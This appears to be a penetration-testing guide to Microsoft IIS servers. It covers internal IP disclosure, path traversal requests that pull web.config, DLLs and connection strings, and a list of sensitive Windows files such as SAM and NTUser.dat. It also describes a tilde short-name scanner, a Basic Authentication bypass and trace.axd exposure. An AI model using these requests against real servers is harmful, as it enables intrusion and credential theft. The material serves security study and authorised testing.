Pentesting

IIS - Internet Information Services

Test executable file extensions:

  • asp

  • aspx

  • config

  • php

Internal IP Address disclosure

On any IIS server where you get a 302 you can try stripping the Host header and using HTTP/1.0 and inside the response the Location header could point you to the internal IP address:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Response disclosing the internal IP:

GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Execute .config files

You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

Download the list that I have created:

It was created merging the contents of the following lists:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Use it without adding any extension, the files that need it have it already.

Path Traversal

Leaking source code

As summary, there are several web.config files inside the folders of the application with references to "assemblyIdentity" files and "namespaces". With this information it's possible to know where are executables located and download them. From the downloaded Dlls it's also possible to find new namespaces where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity. Also, the files connectionstrings.config and global.asax may contain interesting information. Reference: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

As any .Net application, MVC applications have a web.config file, where "assemblyIdentity" XML tags identifies every binary file the application uses.

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
[...]
HTTP/1.1 200 OK
[...]
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />
</configSections>
<appSettings>
<add key="webpages:Version" value="3.0.0.0" />
<add key="webpages:Enabled" value="false" />
<add key="ClientValidationEnabled" value="true" />
<add key="UnobtrusiveJavaScriptEnabled" value="true" />
</appSettings>
<system.web>
<authentication mode="None" />
<compilation debug="true" targetFramework="4.6.1" />
<httpRuntime targetFramework="4.6.1" />
</system.web>
<system.webServer>
<modules>
<remove name="FormsAuthentication" />
</modules>
</system.webServer>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin.Security" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin.Security.OAuth" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin.Security.Cookies" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Newtonsoft.Json" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Optimization" />
<bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="WebGrease" />
<bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Helpers" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Mvc" />
<bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.WebPages" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
</assemblyBinding>

In the previous output you can references to several "assemblyIdentity". These are files that may be located inside the /bin folder. For example: /bin/WebGrease.dll.

Other files that could be found in the root directory of a .Net application are /global.asax

<%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %>

And /connectionstrings.config

Note: this file contains passwords!

<connectionStrings>
<add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
</connectionStrings>

Namespaces

In addition, .Net MVC applications are structured to define other web.config files, having the aim to include any declaration for specific namespaces for each set of viewpages, relieving developers to declare “@using” namespaces in every file.

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]
HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>
<configSections>
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
</sectionGroup>
</configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
<add namespace="System.Web.Mvc" />
<add namespace="System.Web.Mvc.Ajax" />
<add namespace="System.Web.Mvc.Html" />
<add namespace="System.Web.Optimization"/>
<add namespace="System.Web.Routing" />
<add namespace="WebApplication1" />

Downloading DLLs

From a very previous response, the declaration of a custom namespace (since other namespaces are defaults) suggests that a DLL called "WebApplication1" is present in the /bin directory.

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
[...]

From the previous output, inside the /bin directory you will also be able to find the Dlls

  • System.Web.Mvc.dll

  • System.Web.Mvc.Ajax.dll

  • System.Web.Mvc.Html.dll

  • System.Web.Optimization.dll

  • System.Web.Routing.dll

Let's suppose that the previous DLL is importing a namespace called WebApplication1.Areas.Minded. an attacker can infer that other web.config files are present in the application, in guessable/default paths as /area-name/Views/, containing specific configurations that may refer to other DLL files present in the /bin folder.

GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]
HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>
<configSections>
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
</sectionGroup>
</configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
<pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
<add namespace="System.Web.Mvc" />
<add namespace="System.Web.Mvc.Ajax" />
<add namespace="System.Web.Mvc.Html" />
<add namespace="System.Web.Routing" />
<add namespace="System.Web.Optimization" />
<add namespace="WebApplication1" />
<add namespace="WebApplication1.AdditionalFeatures" />
</namespaces>

Note how in the previous output you can see a new namespace called: WebApplication1.AdditionalFeatures which indicates that there is another Dll in the /bin folder called WebApplication1.AdditionalFeatures.dll

Common files

From here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

It means that the server didn't receive the correct domain name inside the Host header. In order to access the web page you could take a look to the served SSL Certificate and maybe you can find the domain/subdomain name in there. If it isn't there you may need to brute force VHosts until you find the correct one.

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

You can try to enumerate folders and files inside every discovered folder (even if it's requiring Basic Authentication) using this technique. The main limitation of this technique if the server is vulnerable is that it can only find up to the first 6 letters of the name of each file/folder and the first 3 letters of the extension of the files.

You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

You can also use metasploit: use scanner/http/iis_shortname_scanner

Basic Authentication bypass

Bypass a Baisc authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

You can try to mix this vulnerability and the last one to find new folders and bypass the authentication.

ASP.NET Trace.AXD enabled debugging

ASP.NET include a debugging mode and its file is called trace.axd.

It keeps a very detailed log of all requests made to an application over a period of time.

This information includes remote client IP's, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11